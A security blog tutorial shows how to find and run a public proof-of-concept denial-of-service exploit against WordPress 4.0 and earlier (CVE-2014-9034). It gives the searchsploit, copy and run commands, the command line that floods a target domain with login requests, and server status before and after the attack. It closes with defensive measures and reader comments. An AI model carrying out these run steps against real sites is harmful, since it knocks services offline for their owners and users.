Thursday, July 31, 2025
Home ยป Denial of Service Attack Proof of Concept PHP Exploit for

Denial of Service Attack Proof of Concept PHP Exploit for <=4.0 WordPress DoS Attack - CVE-2014-9034

by blackMOREOps
8 comments

Proof of Concept PHP exploit for WordPress DoS Attack CVE-2014-9034 worked like a charm on my own WordPress website. Surprisingly, CVE-2014-9034 was published for sometime and it seems WordPress still hasnโ€™t fixed this issue. I will explain how to use this Proof of Concept tool and test your own WordPress website for vulnerabilities.

WordPress DoS Attack โ€“ CVE-2014-9034

Credit for WordPress DoS Attack (Denial of Service Proof of Concept PHP Exploit CVE-2014-9034: WordPress <=4.0) goes to John from http://secureli.com. I will explain how to use this Proof of Concept tool and test your own WordPress website for vulnerability.

Searching exploit using searchspoit

How many of you used searchsploit in Kali Linux? Itโ€™s a nice tool that updates and downloads exploits often. I use it quite extensively along with MetaSploit.

Use searchsploit to search specific exploits. You can use it like this:

root@kali:~# searchsploit wordpress denial
---------------------------------------------|---------------------------------- 
 Descriptionย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย ย  |ย  Path
---------------------------------------------|----------------------------------
WordPress <=4.0 Denial of Service Exploitย ย ย  | /php/webapps/35413.php
Wordpress < 4.0.1 - Denial of Serviceย ย ย ย ย ย ย  | /php/webapps/35414.txt
---------------------------------------------|----------------------------------
root@kali:~#

wordpress-40-denial-of-service-proof-of-concept-explained - blackMORE Ops - 2

Just in case you want to search something else, you -h and it shows the help menu. Now help yourself to find more vulnerabilities.

root@kali:~# searchsploit -h
Usageย  : searchsploit [OPTIONS] term1 [term2] ... [termN]
Example: searchsploit oracle windows local

=========
ย OPTIONS 
=========
ย -cย ย ย ย ย ย ย ย  - Perform case-sensitive searches; by default,
ย ย ย ย ย ย ย ย ย ย ย ย ย  searches will try to be greedy
ย -vย ย ย ย ย ย ย ย  - By setting verbose output, description lines
ย ย ย ย ย ย ย ย ย ย ย ย ย  are allowed to overflow their columns
ย -h, --help - Show help screen

NOTES:
ย - Use any number of search terms you would like (minimum: 1)
ย - Search terms are not case sensitive, and order is irrelevant
root@kali:~#

wordpress-40-denial-of-service-proof-of-concept-explained - blackMORE Ops - 3

Using searchsploit results

searchsploit files are located at /usr/share/exploitdb/ folder. You need to copy the exploit file to your home directory or something similar.

root@kali:~# mkdir bmo
root@kali:~# cd bmo/
root@kali:~/bmo# 
root@kali:~/bmo# cp /usr/share/exploitdb/platforms/php/webapps/35413.php .
root@kali:~/bmo# 
root@kali:~/bmo#

Running the exploit

To run this script you need to use PHP commandโ€ฆ Hereโ€™s the little help menu:

CVE-2014-9034 | WordPress <= v4.0 Denial of Service Vulnerability
Proof-of-Concept developed by [email protected] (http://secureli.com)
usage: php wordpressed.php domain.com username numberOfThreads
e.g.: php wordpressed.php wordpress.org admin 50

First time I tried to run this php exploit, I received an error

root@kali:~/bmo# php 35413.php somesrandomsite.com admin 50

CVE-2014-9034 | WordPress <= v4.0 Denial of Service Vulnerability
Proof-of-Concept developed by [email protected] (http://secureli.com)

usage: php wordpressed.php domain.com username numberOfThreads
ย e.g.: php wordpressed.php wordpress.org admin 50

Sending POST data (username: admin; threads: 50) to somerandomsite.comPHP Fatal error:ย  Call to undefined function curl_multi_init() in /root/wp/35413.php on line 12

This is because a package is missing in my Kali Linux. I need to install php5-curl package for that.

root@kali:~/bmo# apt-get install php5-curl 
Reading package lists... Done
Building dependency treeย ย ย ย ย  ย 
Reading state information... Done
The following NEW packages will be installed:
ย  php5-curl
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 29.4 kB of archives.
After this operation, 116 kB of additional disk space will be used.
Get:1 http://security.kali.org/kali-security/ kali/updates/main php5-curl amd64 5.4.36-0+deb7u1 [29.4 kB]
Fetched 29.4 kB in 1s (18.8 kB/s) ย 
Selecting previously unselected package php5-curl.
(Reading database ... 389427 files and directories currently installed.)
Unpacking php5-curl (from .../php5-curl_5.4.36-0+deb7u1_amd64.deb) ...
Processing triggers for libapache2-mod-php5 ...
[ ok ] Reloading web server config: apache2 not running.
Setting up php5-curl (5.4.36-0+deb7u1) ...

Creating config file /etc/php5/mods-available/curl.ini with new version
Processing triggers for libapache2-mod-php5 ...
[ ok ] Reloading web server config: apache2 not running.

root@kali:~/bmo#

Now retry running this exploit:

root@kali:~/bmo# php 35413.php somerandomsite.comย  admin 50

CVE-2014-9034 | WordPress <= v4.0 Denial of Service Vulnerability
Proof-of-Concept developed by [email protected] (http://secureli.com)

usage: php wordpressed.php domain.com username numberOfThreads
ย e.g.: php wordpressed.php wordpress.org admin 50

Sending POST data (username: admin; threads: 50) to somerandomsite.com^C
root@kali:~/bmo# 

wordpress-40-denial-of-service-proof-of-concept-explained - blackMORE Ops - 4

Server side experience

So this is what server side looks like

someuser@someserver [/home]# pstree
initโ”€โ”ฌโ”€/usr/local/cpan
ย ย ย ย  โ”œโ”€httpdโ”€โ”ฌโ”€167*[httpd]
ย ย ย ย  โ”œโ”€postgresqlโ”€โ”€238*
ย ย ย ย  โ”œโ”€namedโ”€โ”€โ”€3*[{named}]
ย ย ย ย  โ”œโ”€rsyslogdโ”€โ”€โ”€3*[{rsyslogd}]
ย ย ย ย  โ”œโ”€sshdโ”€โ”€โ”€sshdโ”€โ”€โ”€bashโ”€โ”€โ”€pstree

httpd status before

ย ย  Server Built: Nov 17 2014 14:25:08
ย ย ย ย  __________________________________________________________________

ย ย  Current Time: Thursday, 08-Jan-2015 17:06:52 GMT
ย ย  Restart Time: Thursday, 08-Jan-2015 16:13:46 GMT
ย ย  Parent Server Generation: 0
ย ย  Server uptime: 53 minutes 6 seconds
ย ย  Total accesses: 6353 - Total Traffic: 26.9 MB
ย ย  CPU Usage: u89.86 s19.17 cu0 cs0 - 3.42% CPU load
ย ย  1.99 requests/sec - 8.7 kB/second - 4446 B/request
ย ย  1 requests currently being processed, 9 idle workers

___W___.._...._.._..............................................
................................................................
................................................................
................................................................

ย ย  Scoreboard Key:
ย ย  "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
ย ย  "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
ย ย  "C" Closing connection, "L" Logging, "G" Gracefully finishing,
ย ย  "I" Idle cleanup of worker, "." Open slot with no current process

httpd status after

ย ย  Server Built: Nov 17 2014 14:25:08
ย ย ย ย  __________________________________________________________________

ย ย  Current Time: Thursday, 08-Jan-2015 17:08:51 GMT
ย ย  Restart Time: Thursday, 08-Jan-2015 17:08:26 GMT
ย ย  Parent Server Generation: 0
ย ย  Server uptime: 25 seconds
ย ย  Total accesses: 334 - Total Traffic: 64 GB
ย ย  CPU Usage: u1.85 s.33 cu0 cs0 - 8.72% CPU load
ย ย  1.36 requests/sec - 2621 B/second - 1927 B/request
ย ย  251 requests currently being processed, 12 idle workers

WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW_W_WWWWWWW____....__..C
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW_W_WWWWWWW....WWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW_W_WWWWWWW..WWWWWWW....
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW_W_WWWWWWW.............

ย ย  Scoreboard Key:
ย ย  "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
ย ย  "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
ย ย  "C" Closing connection, "L" Logging, "G" Gracefully finishing,
ย ย  "I" Idle cleanup of worker, "." Open slot with no current process

Visible in my monitoring

So how does it look in my Munin monitoring? Well, pretty fโ€™ed up. I got massive spikes all over the place

wordpress-40-denial-of-service-proof-of-concept-explained - mysql_queries-day - blackMORE Ops - 7

ย 

wordpress-40-denial-of-service-proof-of-concept-explained - mysql_queries-day - blackMORE Ops - 6

ย 

wordpress-40-denial-of-service-proof-of-concept-explained - mysql_bytes-day - blackMORE Ops - 6

Defending against these attacks

Followings are your options:

  1. The best way is to restrict wp-admin folder to specific IPโ€™s.
  2. Throttle connectionโ€™s per IP.
  3. Use a WAF.
  4. Write your own ModSecurity code in Apache or similar in NGINX (actually it would be nice to see how NGINX works against such attacks, any takers?).
  5. Keep WordPress updated.

Conclusion

All in all, its a nice exploit and it does what itโ€™s supposed to do, create massive connections and mysql load for a server. Run it few minutes and if the server is not throttling connections per IP, it will make the server unresponsive.

Here is Johnโ€™s original post http://secureli.com/2014/11/28/wordpress40-denialofservice-proofofconcept/ about this exploit and I think WordPress should fix it ASAP.

Following explanation is taken from Johnโ€™s siteโ€

CVE-2014-9034 was published recently, highlighting an issue that โ€œallows remote attackers to cause a denial of service (CPU consumption) via a long password that is improperly handled during hashingโ€ due to phpass usage.

The full vulnerability information is available from:

This exploit uses a denial of service attack against wp-includes/class-phpass.php in the following WP versions:

  • before 3.7.5
  • 3.8.x before 3.8.5
  • 3.9.x before 3.9.3
  • 4.x before 4.0.1

This is the first exploit against such attack and thanks to John for bringing it to our attention. Enjoy and ensure your website is protected against such attacks. Share and RT.

You may also like

8 comments

changfeng_chi January 20, 2015 - 9:19 pm

The best way is to restrict wp-admin folder to specific IPโ€™s. wp-admin or wp-includes?

Reply
blackMORE Ops January 21, 2015 - 11:30 am

I do in both wp-admin and root of WordPress folder. I’ve restricted wp-login in root folder and all in wp-admin. In that way, even if someone guesses your password, no parameters can’t be passed. It’s a bit hassle to maintain, but once you get used to it, it’s not big of a deal. No need to do it wp-includes or wp-contents as far I can understand.

Reply
justtom February 15, 2015 - 1:37 pm

good !awesome!!!!!!!!!

Reply
fengshui April 4, 2015 - 1:11 am

Good explanation. I’ve tested and it worked well when used with few other exploits.

Reply
Khoi Nguyen October 25, 2015 - 7:01 am

I ran this on several of my sites as a test and it did absolutely nothing to the site. Is this exploit patched up?

Reply
Mestre Search November 23, 2016 - 6:22 pm

Nice but is hard to implement :D

Reply
Sohbet April 7, 2017 - 10:42 pm

good ! verry nice

Reply
John Martinelli February 10, 2020 - 10:33 am

Thanks for the shoutout! I’d love to do a guest blog post on your site.

Reply

Leave your solution or comment to help others. Comment don't need registration or real email, so feel free.

[script_21]

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Best site to learn Linux, Security, Hacking and Kali Linux